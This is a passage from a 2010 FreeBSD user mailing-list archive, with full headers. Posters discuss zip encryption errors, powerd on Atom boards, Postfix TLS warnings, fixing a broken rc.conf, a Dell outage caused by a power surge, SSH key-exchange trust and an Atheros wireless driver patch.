Mar 2010 19:25:02 -0000 Anton Shterenlikht writes: > This is on FreeBSD ia64 9.0-CURRENT #0 r203484M: > I've zip-3.0 and unzip-6.0 installed from ports. > > When I try to add files to an archive with encryption, > I cannot then extract them back: > >> ls -al > try >> zip -e try.zip try > Enter password: > Verify password: > adding: try (deflated 42%) >> rm try >> unzip try.zip > Archive: try.zip > extracting: try | > unzip: ZIP decompression failed (-3) >> ls -al try > -rwxr-xr-x 1 mexas wheel 0 9 Mar 10:27 try >> > > the extracted file is zero length. > > Maybe this is not supposed to work? It does for me, but there are a number of problems with the zip encryption (even aside from the fact that it's easy to break). You might want to take a look at the extensive "DECRYPTION" section in the unzip(1) man page. -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 20:52:11 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E3F1E1065673 for ; Tue, 9 Mar 2010 20:52:11 +0000 (UTC) (envelope-from djr@pdconsec.net) Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by mx1.freebsd.org (Postfix) with ESMTP id 63D458FC13 for ; Tue, 9 Mar 2010 20:52:10 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApsEAN9BlkuWZcBC/2dsb2JhbACcC78KhHkE Received: from goliath.pdconsec.net (HELO smtp.pdconsec.net) ([150.101.192.66]) by ipmail06.adl2.internode.on.net with SMTP; 10 Mar 2010 07:22:09 +1030 Received: from mail1.pdconsec.net ([192.168.1.41] helo=mail1.pdconsec.net) with IPv4:25 by smtp.pdconsec.net; 10 Mar 2010 07:20:47 +1100 Received: from smtp.pdconsec.net ([192.168.1.32] RDNS failed) by mail1.pdconsec.net with Microsoft SMTPSVC(6.0.3790.3959); Wed, 10 Mar 2010 07:51:08 +1100 Received: from [10.14.6.41] ([150.101.192.69] helo=[10.14.6.41]) with IPv4:10025 by smtp.pdconsec.net; 10 Mar 2010 07:20:47 +1100 Message-ID: <4B96B4B9.2050901@pdconsec.net> Date: Wed, 10 Mar 2010 07:51:05 +1100 From: David Rawling User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100227 Thunderbird/3.0.3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 09 Mar 2010 20:51:08.0892 (UTC) FILETIME=[3EA721C0:01CABFCA] Subject: Re: powerd on 8.0, is it considered safe? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 20:52:12 -0000 On 8/03/2010 9:47 PM, Dan Naumov wrote: > Is powerd finally considered stable and safe to use on 8.0? At least > on 7.2, it consistently caused panics when used on Atom systems with > Hyper-Threading enabled, but I recall that Attilio Rao was looking > into it. I can confirm I've been running it on an Atom 330 board, with HyperThreading, on 8.0-RELEASE-p2, for quite some time now: timeserver ~ 66> uptime 7:43AM up 11 days, 13:34, 1 user, load averages: 0.01, 0.01, 0.00 And /etc/rc.conf: powerd_flags="-i 85 -r 60 -p 100" Although now looking at it I don't know if it's working ... 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From owner-freebsd-questions@FreeBSD.ORG Tue Mar 9 23:00:37 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id F0C2310656C3 for ; Tue, 9 Mar 2010 23:00:36 +0000 (UTC) (envelope-from gesbbb@yahoo.com) Received: from smtp109.prem.mail.ac4.yahoo.com (smtp109.prem.mail.ac4.yahoo.com [76.13.13.92]) by mx1.freebsd.org (Postfix) with SMTP id 7DF868FC16 for ; Tue, 9 Mar 2010 23:00:36 +0000 (UTC) Received: (qmail 84328 invoked from network); 9 Mar 2010 23:00:35 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Received:X-Yahoo-SMTP:X-YMail-OSG:X-Yahoo-Newman-Property:Received:Date:From:To:Subject:Message-ID:In-Reply-To:References:Reply-To:Organization:X-Mailer:Face:Mime-Version:Content-Type:Content-Transfer-Encoding; b=xjsvE4gjSAtBNeY/voKEdsxoY7QRZLFYrfjfQhlrYAV/rS6saZnpkAdIEGewUoQ+G6dm7x4aQ0FwUEU/LRyZ3nOlboJfqyYDAqYNw26ypOEpT3jBNHSz7NveKXipeRxrC4C9GxIg8oe9EFNqXmaLt3e0wosiTwQLD7JO+Ptm82U= ; Received: from c-67-189-160-65.hsd1.ny.comcast.net (gesbbb@67.189.160.65 with login) by smtp109.prem.mail.ac4.yahoo.com with SMTP; 09 Mar 2010 15:00:35 -0800 PST X-Yahoo-SMTP: yeAAMgKswBATCul4lSbCWspvTA-- X-YMail-OSG: 4jNvIOoVM1lPQQ9yH3ld8OeXxh5kAa9V11Fqe54QHOPFZT2N26cYVWUluvMZOxgxmZK8M3lBV1vUDm5h_vaVO5YAYWvwiiUgra6Udi3u8f99WibuyWxazHpJDYw69o.eFOTT52gUthnXv7duFE_uHRZq.zbAX2AD1Vue8hz_0KgQnKVck8Qz2UJW82uMbgQOibVj14anpdVzFg.BBjPruoDmRQ8Mi29Az6qxPKH_SF8c2YgahnipE8BvcN_86S_g6gQdOP5VmgnevrYQs6rtKLjjlKe53Nasao3sB__jXkGUHBGTGCaLlPrYDi1Ih6y_rL8m_MxamoUHVUF9yIAGSQ-- X-Yahoo-Newman-Property: ymail-3 Received: from scorpio.seibercom.net (scorpio.seibercom.net [192.168.1.101]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: gesbbb@scorpio.seibercom.net) by scorpio.seibercom.net (Postfix) with ESMTPSA id 11FCE22838 for ; Tue, 9 Mar 2010 18:00:35 -0500 (EST) Date: Tue, 9 Mar 2010 18:00:34 -0500 From: Jerry To: freebsd-questions@freebsd.org Message-ID: <20100309180034.5625a1ba@scorpio.seibercom.net> In-Reply-To: References: <20100309061132.6d1ff157@scorpio.seibercom.net> Organization: seibercom.net X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd7.3) Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAGFBMVEX+/v7++v6YOTrq8PCcuIX989UvOSj++v0BNCbpAAAAB3RJTUUHsQwfFzs7RBhzUQAAAhJJREFUOI1dU8GOqzAMNKIoV1bvwD1i0ysqrHplIdBrVSX7ATSbd03VVvn9tQNtQy0hjAdn7LED4AAcPtWm9RV+MPSfxhBLx9ajd6X/ngB6/mTwnRSZua7i7Ca+0ctZKo4Qmz+JY13X6I3nFZBxIYW1PbgfQ5RP8g0XlltEWGf3cV03joYpRnFbvYDKbXjZlXyyhEZA4lI+cN3NaVXE4VKjSwTExO10eTEkkJVqIAD5z0nUBQJluQDRSQjcrBiHAJxZlAH5CUMBMC7OcJ4LMQNnxhZ1HYPscMc6J4UlWRMNwzOpCcAHKSICd1EDn83abdREIbXsHkD1OinP1aCUCOEVRaa1lMcvywUWdYgk13JQUpYNKmvXQ8Kw5ML9YI5h8SakctBc7E/IYuLhYd/zZIk+1gM1vNweQBvHE0j+oYah3sMqAytQYlZk6+ANaaawJdu3OFzYGMZ3iGpa3qMlq9ZH0VZTgrCtw/ngdYkEIIpSbP1bWQAdFdX9vocBdkH2qVjVmuMu3gI5rjs814EUdrCZgWlPaxZZ3RiLFUtr+ud0PXwp2dnQSNXgePt6AZpBj6UMJ7VQkzN4utVeaSW1Dhn/kblGrKeMvNGnzwX4zuEDarYz1KdPtR60Gul0Gued+515SJXhCsl+Tx/3kY/UDvicPll9mfu50t3tvQ/thZpJYgeuwdSKNJ6tCD98MCgoxLDaPxbwqqwPWaWiAAAAAElFTkSuQmCC X-Face: "\j?x](l|]4p?-1Bf@!wN<&p=$.}^k-HgL}cJKbQZ3r#Ar]\%U(#6}'?<3s7%(%(gxJxxcR Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: warning: network_biopair_interop: error reading 5 bytes from the network: Connection reset by peer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 09 Mar 2010 23:00:37 -0000 On Tue, 9 Mar 2010 12:36:31 -0600 Noel Jones articulated: > Maybe you didn't have TLS enabled before? > > Anyway, this message caused by the other end disconnecting abruptly. > If you just get it once in a while, it can be safely ignored. If you > get it on every connection, your TLS is broken. If you get it fairly > consistently with some specific client, maybe that client has a busted > TLS implementation. > > -- Noel Jones Hi Noel, I always had TLS enabled and it has always worked. I use Dovecot with TLS and it is not logging any errors. This whole thing started after I updated to FreeBSD-7.3 pre-release from version 7.2 last week. Every sending attempt produces this error although the mail does go through whether it is to someone on the same network or to an entirely different domain. Do you have any good idea how I can debug this? -- Jerry gesbbb@yahoo.com |::::======= |::::======= |=========== |=========== | The important thing is not to stop questioning. From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 00:04:26 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ADB45106564A for ; Wed, 10 Mar 2010 00:04:26 +0000 (UTC) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: from gizmo.acns.msu.edu (gizmo.acns.msu.edu [35.8.1.43]) by mx1.freebsd.org (Postfix) with ESMTP id 732D98FC15 for ; Wed, 10 Mar 2010 00:04:26 +0000 (UTC) Received: from gizmo.acns.msu.edu (localhost [127.0.0.1]) by gizmo.acns.msu.edu (8.13.6/8.13.6) with ESMTP id o2A01FGl051813; Tue, 9 Mar 2010 19:01:15 -0500 (EST) (envelope-from jerrymc@gizmo.acns.msu.edu) Received: (from jerrymc@localhost) by gizmo.acns.msu.edu (8.13.6/8.13.6/Submit) id o2A01FeM051812; Tue, 9 Mar 2010 19:01:15 -0500 (EST) (envelope-from jerrymc) Date: Tue, 9 Mar 2010 19:01:15 -0500 From: Jerry McAllister To: oscar Seo Message-ID: <20100310000115.GA51767@gizmo.acns.msu.edu> References: <861961dd1003082145w4c19d4f0g1f59597d2d077ec7@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <861961dd1003082145w4c19d4f0g1f59597d2d077ec7@mail.gmail.com> User-Agent: Mutt/1.4.2.2i Cc: freebsd-questions@freebsd.org Subject: Re: How can I repair wrong /etc/rc.conf ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 00:04:26 -0000 On Tue, Mar 09, 2010 at 02:45:22PM +0900, oscar Seo wrote: > I'm using FreeBSD 6.4 + windowmaker in IBM notebook. > I edited /etc/rc.conf to use LAN other ip address is different from my home > address in my school. > I got error message from this > [ > /etc/rc.conf: 131: Syntax error: Unterminated quoted string > Enter full pathname of shell or RETURN for /bin/sh: > ] > so that I returned, I decided to edit /etc/rc.conf using vi. > But freebsd didn't find vi, less any other application. > I can't modify even if read /etc/rc.conf. > fortunately I can use cat so I found my fault sting from /etc/rc.conf but I > can't modify any files cause the system changed into read only file system. > How can I repair /etc/rc.conf file with fault statements using any editor? It is because not all of your filesystems are mounted. Probably you can gett away with just doing fsck -a mount -u mount -a >From then you can edit. If it will not run the fsck or the mount -a, then you will have to reboot in to single user mode and do the above. ////jerry > > Thanks in advanced. > Oscar > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 00:11:56 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EA2DD106566C for ; Wed, 10 Mar 2010 00:11:56 +0000 (UTC) (envelope-from noc@hdk5.net) Received: from guam10.hdk5.net (guam10.hdk5.net [66.180.132.235]) by mx1.freebsd.org (Postfix) with ESMTP id BE23D8FC12 for ; Wed, 10 Mar 2010 00:11:56 +0000 (UTC) Received: from mohawk7.intra.net (unknown [66.180.149.18]) by guam10.hdk5.net (Postfix) with ESMTP id 92ADA1CCA0; Tue, 9 Mar 2010 14:11:55 -1000 (HST) Message-ID: <4B96E3CA.7050906@hdk5.net> Date: Tue, 09 Mar 2010 14:11:54 -1000 From: Al Plant User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.11) Gecko/20071128 FreeBSD/i386 SeaMonkey/1.1.7 MIME-Version: 1.0 To: Gary Kline References: <20100309191916.GA55827@thought.org> In-Reply-To: <20100309191916.GA55827@thought.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Mailing List Subject: Re: "tao" suddenly died X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 00:11:57 -0000 Gary Kline wrote: > Well, first time this happened since I got my Dell 8200. > It suddenly died. I just finished sending an email a few > minutes earlier. I'm writing from my only other live > non-server. The KVM switch was mis-installed so I can't > KVM over to my DNS server. > > Does this happen often with Dells? What should I be > looking for to replace the 8200. > > thanks for any suggestions. > Aloha Gary, Dell sudden death. In my experience means a hardware failure. EG: Two weeks ago I consulted for a friend in IT on a dead Dell server with the removable hard drives. It turned out to be a faulty back plate where the HD's fitted in so all 4 were not working. Dell had to send a replacement backplate to replace the bad one. If you can find anyone on a list with one of your type maybe they can help you. Dell doesnt always use the same hardware in the same model computer btw. Check all the cables and power supply connections and re-seat everything in the box. Something may have walked out of the board. ~Al Plant - Honolulu, Hawaii - Phone: 808-284-2740 + http://hawaiidakine.com + http://freebsdinfo.org + + http://aloha50.net - Supporting - FreeBSD 7.2 - 8.0 - 9* + < email: noc@hdk5.net > "All that's really worth doing is what we do for others."- Lewis Carrol From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 00:38:58 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6A6031065674 for ; Wed, 10 Mar 2010 00:38:58 +0000 (UTC) (envelope-from liontaur@gmail.com) Received: from mail-bw0-f216.google.com (mail-bw0-f216.google.com [209.85.218.216]) by mx1.freebsd.org (Postfix) with ESMTP id F00258FC0C for ; Wed, 10 Mar 2010 00:38:57 +0000 (UTC) Received: by bwz8 with SMTP id 8so3819525bwz.3 for ; Tue, 09 Mar 2010 16:38:57 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=ydl/MUAuvd/ZasIPrs7TMvPLGhKYn2KYfLVD5dmKixs=; b=HjMI+Ut+dki5V7gJ5RXEi1h4v4JA2uBjXJDwn2taJKN7c7E3+GCvX5P/nyc6Y4Na3R xhPZuMZmJmj46FVSTUAKT6jxiJsFjYHE1Y49QFpIEknQ3xQBGWxgIv8adNfJZEgIFy6w kMIgTihpZNbOkTaGYn4rr7snEkUR/tmCzbOBQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=inK3Td87DPIpQXoFKx7lJRDPqI0TqvGS2nrVsor3ercsVVAIQLPasknCTz3Ul6D8gl TF1wicd1aB6z+KDd3TUz4fIq2Vj/oRV67CiiXS5imNmQK+mPTPyBpr11GysM+2Ih5pNY CvPij+ocYC1tj1Z/86tIIk6fBj8DQCZPYVSS8= MIME-Version: 1.0 Received: by 10.204.3.10 with SMTP id 10mr767880bkl.35.1268181536873; Tue, 09 Mar 2010 16:38:56 -0800 (PST) In-Reply-To: <201003090848.o298mBSN079005@banyan.cs.ait.ac.th> References: <532b03711003071325j9ab3c98u703b31abdc7ea8fe@mail.gmail.com> <4b960747.T7FO5AkwXJGAGApg%perryh@pluto.rain.com> <201003090848.o298mBSN079005@banyan.cs.ait.ac.th> Date: Tue, 9 Mar 2010 16:38:56 -0800 Message-ID: From: Liontaur To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: [OT] ssh security X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 00:38:58 -0000 On Tue, Mar 9, 2010 at 12:48 AM, Olivier Nicole wrote: > > What happened to Diffie-Hellman? Last I heard, its whole point was > > to enable secure communication, protected from both eavesdropping > > and MIM attacks, between systems having no prior trust relationship > > (e.g. any sort of pre-shared secret). What stops the server and > > client from establishing a Diffie-Hellman session and using it to > > perform the key exchange? > > I am not expert in cryptography, but logic tends to tell me that is I > have no prior knowledge about the person I am about to talk to, > anybody (MIM) could pretend to be that person. > > The pre-shared information need not to be secret (key fingerprints are > not secret), but there is need for pre-shared trusted information. > But to some extent, we setup and configure these machines ourselves. So when we're adding users could we not have an additional field with something like a phrase/answer or something else like that? Obviously it could be completely optional but it would be kind of neat and probably not too difficult to implement. Mark From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 00:52:39 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AEA8D10656FE for ; Wed, 10 Mar 2010 00:52:39 +0000 (UTC) (envelope-from noeldude@gmail.com) Received: from mail-gy0-f182.google.com (mail-gy0-f182.google.com [209.85.160.182]) by mx1.freebsd.org (Postfix) with ESMTP id 604288FC29 for ; Wed, 10 Mar 2010 00:52:39 +0000 (UTC) Received: by gyg8 with SMTP id 8so2404430gyg.13 for ; Tue, 09 Mar 2010 16:52:38 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=4qiU0qlWgbXIM6W0U91X4af559lBUKmgIVdz2wiD/Os=; b=PAN2BXoiiTtOFyTARwxu5g6rZxuEu8Yl9/zXjWJMdd6YxHUk/qqIf2y36LNdnWRMom GPEzXBHh1KFLLafTXOVtDpd2FFr+/tGtfXYIJFAwaz+J+jLv5xr8xIuOvhBz+Zwt1SZj W7KIEUZJxF9qxNheR9i50UwyUEq81g+iMGt6s= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=fH4jwZ98cq//ye361+HBN8i9IbGY1Wa2Sm4p/LMPSH7Gc3gpMefz/1EVGxgHiQ2fx8 V6CRFmT3sF9Cnt5+DxrPMbdZXarVNR9s7D5w1AYtYNL8Skpu6UzIiOINd5J0pnlCPJTi qS3P3KHnYw9lTZxNYnWqcx0ovkFler6dx25/w= MIME-Version: 1.0 Received: by 10.151.131.8 with SMTP id i8mr246732ybn.338.1268182358522; Tue, 09 Mar 2010 16:52:38 -0800 (PST) In-Reply-To: <20100309180034.5625a1ba@scorpio.seibercom.net> References: <20100309061132.6d1ff157@scorpio.seibercom.net> <20100309180034.5625a1ba@scorpio.seibercom.net> Date: Tue, 9 Mar 2010 18:52:37 -0600 Message-ID: From: Noel Jones To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: warning: network_biopair_interop: error reading 5 bytes from the network: Connection reset by peer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 00:52:39 -0000 Add your client IP to the postfix debug peer list and follow up o the postfix users list On Mar 9, 2010 5:02 PM, "Jerry" wrote: On Tue, 9 Mar 2010 12:36:31 -0600 Noel Jones articulated: > Maybe you didn't have TLS enabled before? > > Anyway, this message caused by the other end disco... Hi Noel, I always had TLS enabled and it has always worked. I use Dovecot with TLS and it is not logging any errors. This whole thing started after I updated to FreeBSD-7.3 pre-release from version 7.2 last week. Every sending attempt produces this error although the mail does go through whether it is to someone on the same network or to an entirely different domain. Do you have any good idea how I can debug this? -- Jerry gesbbb@yahoo.com |::::======= |::::======= |=========== |=========== | The important thing is not to stop questioning. _______________________________________________ freebsd-questions@freebsd.org mailing list http://l... From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 03:34:57 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 98CE41065673 for ; Wed, 10 Mar 2010 03:34:57 +0000 (UTC) (envelope-from kline@thought.org) Received: from ethic.thought.org (plato.thought.org [209.180.213.209]) by mx1.freebsd.org (Postfix) with ESMTP id 4FE248FC1E for ; Wed, 10 Mar 2010 03:34:57 +0000 (UTC) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by ethic.thought.org (8.14.3/8.14.3) with ESMTP id o2A3YqLF059016; Tue, 9 Mar 2010 19:34:53 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Tue, 9 Mar 2010 19:34:53 -0800 (PST) Date: Tue, 9 Mar 2010 19:34:52 -0800 From: Gary Kline To: Al Plant Message-ID: <20100310033452.GA2223@thought.org> References: <20100309191916.GA55827@thought.org> <4B96E3CA.7050906@hdk5.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4B96E3CA.7050906@hdk5.net> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 23 years of service to the Unix community. X-Spam-Status: No, score=-1.2 required=3.6 tests=ALL_TRUSTED,BAYES_00, FH_DATE_PAST_20XX autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ethic.thought.org Cc: FreeBSD Mailing List Subject: Re: "tao" suddenly died X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 03:34:57 -0000 On Tue, Mar 09, 2010 at 02:11:54PM -1000, Al Plant wrote: > Gary Kline wrote: > >Well, first time this happened since I got my Dell 8200. > >It suddenly died. I just finished sending an email a few > >minutes earlier. I'm writing from my only other live > >non-server. The KVM switch was mis-installed so I can't > >KVM over to my DNS server. > > > >Does this happen often with Dells? What should I be > >looking for to replace the 8200. > > > >thanks for any suggestions. > > > Aloha Gary, > > Dell sudden death. In my experience means a hardware failure. > > EG: Two weeks ago I consulted for a friend in IT on a dead Dell server > with the removable hard drives. It turned out to be a faulty back plate > where the HD's fitted in so all 4 were not working. Dell had to send a > replacement backplate to replace the bad one. > > If you can find anyone on a list with one of your type maybe they can > help you. Dell doesnt always use the same hardware in the same model > computer btw. > > Check all the cables and power supply connections and re-seat everything > in the box. Something may have walked out of the board. Aloha Al and thanks for responding. {god this has been a long day... . ............} Well, long-story-short, the most unepect thing happened: a power surge. I did not realize that my printer was also off until hours later. A friend helped me trace the problem and reset my surgge-protector. ---It is worth noting that BEFORE I got my battery [UPS], when things were dead or suddenly went dead, i knew right away to check the surge-protector. nutshell: things are almost back. it'll be only an hour before everything is back. still, this is a warning to get back on the ball and start looking for a new desktop. i would be much obliged for ideas on what kind of dell to buy next. i say 'dell' because i would like to make life simple and eventually have one kind of box. (i have three tower computers: one is my DNS/mail/web server; one is my pfSense firewall; one is my laptop. i COULD use the server as a desktop, but that would be too much of a risk! so:: should i be looking for a dual or quad? ----i am biased toward intel because i think the AMD requires more juice. [[my only linux server --long dead-- seemed to suck 100w to 107w as a minimum.]] suggestions? gary ps:: if anyboy in the seattle area can come by and fix my KVM wiring, i can pay for your gasoline, but that's about it... . > > ~Al Plant - Honolulu, Hawaii - Phone: 808-284-2740 > + http://hawaiidakine.com + http://freebsdinfo.org + > + http://aloha50.net - Supporting - FreeBSD 7.2 - 8.0 - 9* + > < email: noc@hdk5.net > > "All that's really worth doing is what we do for others."- Lewis Carrol > -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org The 7.79a release of Jottings: http://jottings.thought.org/index.php From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 04:00:48 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C985C106566B for ; Wed, 10 Mar 2010 04:00:48 +0000 (UTC) (envelope-from kingedgar@gmail.com) Received: from mail-gw0-f54.google.com (mail-gw0-f54.google.com [74.125.83.54]) by mx1.freebsd.org (Postfix) with ESMTP id 85D858FC1A for ; Wed, 10 Mar 2010 04:00:48 +0000 (UTC) Received: by gwj15 with SMTP id 15so81697gwj.13 for ; Tue, 09 Mar 2010 20:00:47 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=WX0HNLQWPyKZO+Jp4OAcgO1VSBroFjDxltFGSrj3xhs=; b=mEYw6uq+BKeMuDQpwFatiLr/TeWn56p/mjTb36KsXLMAtobrEePkk+wkDrjHpakaoi 6A0GGSgnpBd8Dc+y1J+oEvL5SMxDuWKNcdSicUSlbVBuPBBhqlCHd6XeNzxIsqH2Htb3 zuL97M11ir0W3/OiJxBxtFBA0cWf2vXHh4UYA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=Q4L0jqXgOcaXwuFhTAQhmiaG0Z+xpSd8jWvg7dP5lJcYitlh0MZ9fc6VVsGQzjQfIY U3oERxmZzUcm8Go6gmL3dSGTAMgiD5oqzqYbJPgmkP8k6Ci5Pf/rgc+3JeM7FF1AeGWg 2stlnGvCmRvWBg552qM1XnpYb7o7lmPo0R7R8= MIME-Version: 1.0 Received: by 10.150.188.9 with SMTP id l9mr435193ybf.193.1268193647623; Tue, 09 Mar 2010 20:00:47 -0800 (PST) In-Reply-To: <4B6E7C00.60203@colannino.org> References: <4B6E7C00.60203@colannino.org> Date: Tue, 9 Mar 2010 22:00:47 -0600 Message-ID: <970380131003092000x59dff83ciaacb88de615e833d@mail.gmail.com> From: Jason Garrett To: FreeBSD-Questions Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Re: The Atheros 9285 patch on 8.0-stable X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 04:00:48 -0000 On Sun, Feb 7, 2010 at 02:38, James Colannino wrote: > Hey everyone, > > I have an Asus EEE PC 1005HA, which has an Atheros 9285 wireless chipset. > I discovered that Rui Paulo wrote a driver, and put up a patch for the 8.0 > stable kernel here: > > http://people.freebsd.org/~rpaulo/ar9285_stable_8.diff > > It seems to have worked for some people. After patching and re-compiling > my kernel, it did manage to detect the device on my machine, but > unfortunately, I'm unable to scan for networks or associate with my network. > Here's what happens: > > The machine boots, and I see the ath0 interface when I run ifconfig. I > then run the command 'ifconfig wlan0 create wlandev ath0' and successfully > create wlan0. However, when I run the command 'ifconfig wlan0 scan', the > command doesn't seem to do anything, and I eventually have to CTRL-C it. > > Has anybody else had this problem? Is it a known issue? Maybe I'm doing > something wrong? It was mentioned that testers were needed for this driver, > and I'd love to help out if possible. If anybody wants me to send any > additional information, just let me know. > > Thanks so much everyone! > > James > > Sorry to dredge up an old thread, but has this driver been committed to STABLE yet, or do we still need to apply the patch? I am about to embark on installing FreeBSD on this exact model with the exact wifi chip. > _____________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 04:04:28 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 086D81065677 for ; Wed, 10 Mar 2010 